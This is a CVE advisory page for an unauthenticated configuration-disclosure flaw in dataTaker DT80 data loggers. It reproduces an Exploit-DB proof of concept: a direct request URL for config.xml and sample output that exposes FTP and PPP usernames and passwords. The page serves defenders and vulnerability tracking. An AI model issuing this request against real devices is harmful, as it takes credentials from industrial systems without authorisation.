CVE-2017-11165

critical

Published 2017-07-12 · Modified 2026-04-30

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CVSS v3

9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

dataTaker DT80 dEX 1.50.012 allows remote attackers to obtain sensitive credential and configuration information via a direct request for the /services/getFile.cmd?userfile=config.xml URI.

Predictions

Exploit likelihood

97%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42313 webapps hardware text · 2 KB

Nassim Asrir · 2017-07-11

DataTaker DT80 dEX 1.50.012 - Information Disclosure

text exploit Source: Exploit-DB

[+] Title: DataTaker DT80 dEX 1.50.012 - Sensitive Configurations Exposure
[+] Credits / Discovery: Nassim Asrir
[+] Author Contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
[+] Author Company: Henceforth
[+] CVE: CVE-2017-11165
 
Vendor:
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http://www.datataker.com/
  
  
About:
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The dataTaker DT80 smart data logger provides an extensive array of features that allow it to be used across a wide variety of applications. The DT80 is a robust, stand alone, low power data logger featuring USB memory stick support, 18 bit resolution, extensive communications capabilities and built-in display.

The dataTaker DT80’s Dual Channel concept allows up to 10 isolated or 15 common referenced analog inputs to be used in many combinations. With support for multiple SDI-12 sensor networks, Modbus for SCADA systems, FTP and Web interface, 12V regulated output to power sensors, the DT80 is a totally self contained solution.  
  
Vulnerability Type:
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Sensitive Configurations Exposure.
 
 
issue:
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dataTaker dEX 1.350.012 allows remote attackers to obtain sensitive configuration information via
a direct request for the /services/getFile.cmd?userfile=config.xml URI.
  
POC:
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http://victim/services/getFile.cmd?userfile=config.xml


Output:
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<config id="config" onReset="yes" projectFileVersion="2" targetDevice="DT80-3" targetSeries="3" cemCount="1" version="2.0">
<environment>
<application version="1.50.012" build="2014-01-07, 15:16:53"/>
<flashPlayer version="WIN 11.7.700.169" type="PlugIn(non-debugger)"/>
<operatingSystem version="Windows 7"/><firmware version="9.14.5407"/>
<screen resolution="1024x768"/>
</environment>

etc....

<loggerSetting category="PPP" profile="USER">username</loggerSetting>

<loggerSetting category="PPP" profile="PASSWORD">password</loggerSetting>

<loggerSetting category="FTP_SERVER" profile="PORT">21</loggerSetting>

<loggerSetting category="FTP_SERVER" profile="USER">arrdhor</loggerSetting>

<loggerSetting category="FTP_SERVER" profile="PASSWORD">arrdhor</loggerSetting>

<loggerSetting category="FTP_SERVER" profile="ALLOW_ANONYMOUS">YES</loggerSetting>

References

CWEs

CWE-200

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.